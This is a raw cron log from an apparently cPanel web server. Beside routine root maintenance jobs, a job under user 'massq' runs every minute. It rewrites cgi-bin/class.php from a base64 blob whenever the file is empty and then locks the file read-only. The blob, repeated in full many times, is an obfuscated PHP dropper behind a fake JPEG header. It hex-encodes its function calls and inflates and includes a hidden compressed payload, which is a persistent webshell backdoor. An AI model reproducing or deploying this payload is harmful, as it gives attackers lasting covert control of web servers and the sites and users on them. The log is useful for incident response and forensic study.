Nov 14 18:14:01 server CROND[31064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:15:01 server CROND[32003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:15:01 server CROND[32005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:15:01 server CROND[32004]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:15:01 server CROND[32006]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:15:01 server CROND[32008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:16:01 server CROND[32502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:17:01 server CROND[931]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:18:01 server CROND[1799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:19:01 server CROND[2773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:20:01 server CROND[3658]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:20:01 server CROND[3659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:20:01 server CROND[3661]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:20:01 server CROND[3660]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:20:01 server CROND[3665]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 18:21:01 server CROND[4528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:22:01 server CROND[5394]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:23:01 server CROND[6273]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:24:01 server CROND[7181]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:25:01 server CROND[8065]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:25:01 server CROND[8066]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:25:01 server CROND[8068]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:25:01 server CROND[8067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:26:01 server CROND[9143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:27:01 server CROND[9976]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
